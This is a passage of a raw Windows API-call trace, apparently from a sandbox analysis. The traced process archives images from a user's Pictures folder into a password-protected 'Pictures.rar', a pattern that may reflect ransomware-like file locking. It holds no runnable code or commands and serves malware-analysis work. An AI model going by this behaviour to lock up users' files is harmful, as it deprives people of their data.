wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.015] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.015] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1783196, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1b359c [0066.016] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1b359c [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.016] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9a20 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.016] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9700 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0066.016] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9070 [0066.016] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9070, Size=0x7a) returned 0x28b084ed520 [0066.016] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed523*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed523*, lpNumberOfBytesWritten=0xf00f8d8070*=0x69, lpOverlapped=0x0) returned 1 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0066.016] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x69) returned 0x28b084fc3d0 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0066.016] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed520 | out: hHeap=0x28b08430000) returned 1 [0066.016] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1b4f05 [0066.016] CloseHandle (hObject=0x350) returned 1 [0066.016] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.016] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.016] FindFirstFileW (in: lpFileName="YBodpCQ1OYUO B.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee670 [0066.017] FindClose (in: hFindFile=0x28b0c0ee670 | out: hFindFile=0x28b0c0ee670) returned 1 [0066.017] CreateFileW (lpFileName="YBodpCQ1OYUO B.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ybodpcq1oyuo b.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.017] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.017] GetTickCount () returned 0x26680 [0066.017] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.017] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.017] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.017] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.017] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="Ww lmr4coeaZVkLVzHS.jpg") returned 23 [0066.017] SetWindowTextW (hWnd=0x102c6, lpString="YBodpCQ1OYUO B.gif") returned 1 [0066.018] GetTickCount () returned 0x26680 [0066.018] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.018] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.018] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.018] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.018] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x1fb)) [0066.018] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.018] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15734664622) returned 1 [0066.018] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x16f05, lpOverlapped=0x0) returned 1 [0066.018] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b722f45, nNumberOfBytesToRead=0xe90fb, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b722f45*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.018] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.018] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.018] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.019] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9700 [0066.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0066.019] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc60, Size=0x48) returned 0x28b084f8f80 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0066.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0066.019] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9a70 [0066.019] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9a70, Size=0x7a) returned 0x28b084ece60 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f80 | out: hHeap=0x28b08430000) returned 1 [0066.019] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0066.019] GetTickCount () returned 0x26680 [0066.019] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15734774033) returned 1 [0066.019] GetTickCount () returned 0x26680 [0066.019] GetTickCount () returned 0x26680 [0066.019] GetTickCount () returned 0x26680 [0066.019] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.019] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.019] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.019] ResetEvent (hEvent=0x344) returned 1 [0066.019] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.159] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.159] ResetEvent (hEvent=0x344) returned 1 [0066.159] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.161] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.161] ResetEvent (hEvent=0x344) returned 1 [0066.161] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.164] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.164] GetTickCount () returned 0x2670d [0066.164] GetLastError () returned 0x0 [0066.164] SetLastError (dwErrCode=0x0) [0066.164] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0066.164] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0066.164] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.164] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0066.165] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15749337425) returned 1 [0066.165] GetTickCount () returned 0x2670d [0066.165] GetTickCount () returned 0x2670d [0066.165] GetTickCount () returned 0x2670d [0066.165] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0066.165] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0066.165] GetFocus () returned 0x102e2 [0066.165] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0066.166] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.166] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.166] ResetEvent (hEvent=0x33c) returned 1 [0066.166] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.167] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.167] ResetEvent (hEvent=0x33c) returned 1 [0066.168] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.168] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.169] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.169] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1b4f05 [0066.169] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1b4f6b [0066.169] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.169] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.169] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.169] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.169] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x16fc0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x16fc0, lpOverlapped=0x0) returned 1 [0066.171] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.171] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.171] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1789701, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1b4f05 [0066.171] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1b4f05 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.171] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9a20 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.171] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9de0 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0066.171] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f98e0 [0066.171] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed400 [0066.171] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed403*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed403*, lpNumberOfBytesWritten=0xf00f8d8070*=0x66, lpOverlapped=0x0) returned 1 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0066.171] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x66) returned 0x28b0c100e10 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0066.171] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0066.172] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1cbf2b [0066.172] CloseHandle (hObject=0x350) returned 1 [0066.172] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.172] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.172] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.172] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.172] FindFirstFileW (in: lpFileName="yova8.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee970 [0066.172] FindClose (in: hFindFile=0x28b0c0ee970 | out: hFindFile=0x28b0c0ee970) returned 1 [0066.172] CreateFileW (lpFileName="yova8.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\yova8.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.172] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.172] GetTickCount () returned 0x2671c [0066.172] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.172] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.172] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.172] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.172] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="YBodpCQ1OYUO B.gif") returned 18 [0066.172] SetWindowTextW (hWnd=0x102c6, lpString="yova8.bmp") returned 1 [0066.173] GetTickCount () returned 0x2671c [0066.173] UpdateWindow (hWnd=0x102be) returned 1 [0066.173] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.173] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.173] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.173] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.173] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x297)) [0066.173] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.173] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15750206567) returned 1 [0066.173] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x5c13, lpOverlapped=0x0) returned 1 [0066.174] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b711c53, nNumberOfBytesToRead=0xfa3ed, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b711c53*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.174] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.174] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9520 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.174] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0066.174] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9ca0 [0066.174] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9ca0, Size=0x7a) returned 0x28b084ecb90 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0066.174] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecb90 | out: hHeap=0x28b08430000) returned 1 [0066.174] GetTickCount () returned 0x2671c [0066.174] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15750279437) returned 1 [0066.174] GetTickCount () returned 0x2671c [0066.174] GetTickCount () returned 0x2671c [0066.174] GetTickCount () returned 0x2671c [0066.174] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22fa50) returned 0x0 [0066.174] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fa50, hwnd=0x102be, tbpFlags=2) returned 0x0 [0066.175] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fa50, hwnd=0x102be, ullCompleted=0x1cfd8e, ullTotal=0x2141be) returned 0x0 [0066.175] TaskbarList:IUnknown:Release (This=0x28b0a22fa50) returned 0x0 [0066.175] GetLastError () returned 0x36b7 [0066.175] SetLastError (dwErrCode=0x36b7) [0066.175] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0066.175] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0066.175] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 74%") returned 5 [0066.175] SetWindowTextW (hWnd=0x102de, lpString=" 87%") returned 1 [0066.176] GetLastError () returned 0x0 [0066.176] SetLastError (dwErrCode=0x0) [0066.176] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0066.176] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0066.176] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x57, lParam=0x0) returned 0x4a [0066.176] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0066.176] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0066.176] GetFocus () returned 0x102e2 [0066.176] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0066.177] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.177] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.178] ResetEvent (hEvent=0x344) returned 1 [0066.178] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.178] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.178] ResetEvent (hEvent=0x344) returned 1 [0066.178] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, 